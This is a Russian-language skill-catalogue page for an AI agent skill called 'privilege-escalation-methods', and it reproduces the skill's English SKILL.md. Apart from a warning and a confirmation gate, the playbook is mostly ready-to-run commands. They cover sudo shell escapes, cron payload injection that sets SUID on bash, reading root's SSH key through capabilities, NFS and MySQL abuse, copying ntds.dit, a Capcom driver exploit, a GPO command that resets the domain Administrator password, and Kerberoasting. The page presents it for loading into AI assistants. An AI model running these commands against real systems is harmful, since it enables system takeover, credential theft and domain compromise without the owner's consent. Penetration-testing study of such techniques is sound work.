Перейти к содержанию
Skillpedia
Безопасность48k · #5498

privilege-escalation-methods

Что он делает

Этот инструмент помогает получить права администратора в системах Linux и Windows. Он показывает методы, с помощью которых можно превратить обычный доступ в полный контроль над системой.

Когда использовать

  • ✓Когда тестируете безопасность системы с разрешения ее владельца.
  • ✓В операциях 'red team' для имитации атак.
  • ✓Чтобы изучить безопасность систем.

Ссылка на скилл

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/privilege-escalation-methods/SKILL.md

Скопируйте и вставьте её в ваш ИИ (Claude, ChatGPT или Cursor) с просьбой следовать инструкциям.

Как использовать

Самый простой способ: скопируйте сообщение и вставьте его в свой ИИ. Он прочитает скилл и выполнит инструкции.

Готовое сообщение для вставки

Используй этот скилл, чтобы помочь мне: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/privilege-escalation-methods/SKILL.md Прочитай файл SKILL.md по этой ссылке и следуй его инструкциям в моей задаче.
Хотите, чтобы ваш ИИ сам находил такие скиллы?Установите бесплатный MCP Skillpedia: одна строка, и перед каждой задачей он ищет среди 15 000+ скиллов.Установить за 1 минуту →

Пример запроса к вашему ИИ

“Какие существуют методы получения прав администратора в Linux с помощью sudo?”

5 новых скиллов в неделю. 1 минута чтения.

Как это работает

Инструмент перечисляет команды и приемы, которые используют ошибки в настройках или уязвимости систем Linux и Windows. Он показывает, как с помощью конкретных утилит получить повышенные привилегии.

Технический текст (оригинальный SKILL.md)

Оригинальный текст автора на английском, прямо с GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

  • Initial low-privilege shell access on target system
  • Kali Linux or penetration testing distribution
  • Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Understanding of Windows/Linux privilege models
  • For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

  • Root or Administrator shell access
  • Extracted credentials and hashes
  • Persistent access mechanisms
  • Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request


…
Частые вопросы

Нужно ли разрешение, чтобы пользоваться этим инструментом?

Да, перед применением любых приемов обязательно нужно явное письменное разрешение владельца системы. Использование без разрешения незаконно.

Какие операционные системы охватывает инструмент?

Инструмент описывает методы для систем Linux и Windows.

Что означает 'privilege escalation'?

Это получение больших прав, чем у вас есть в системе, например переход от обычного пользователя к администратору (root).

Подробности

Оригинальное описание автора

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

repo: sickn33/agentic-awesome-skills

Популярность

Звёзды на GitHub
48k
Место в рейтинге
#5498
Лицензия
MIT
Обновлён
15.10.2026

Полезен ли этот скилл?

0

Войдите , чтобы голосовать.

Комментарии

  • …

Другие скиллы из этого репозитория

Похожие скиллы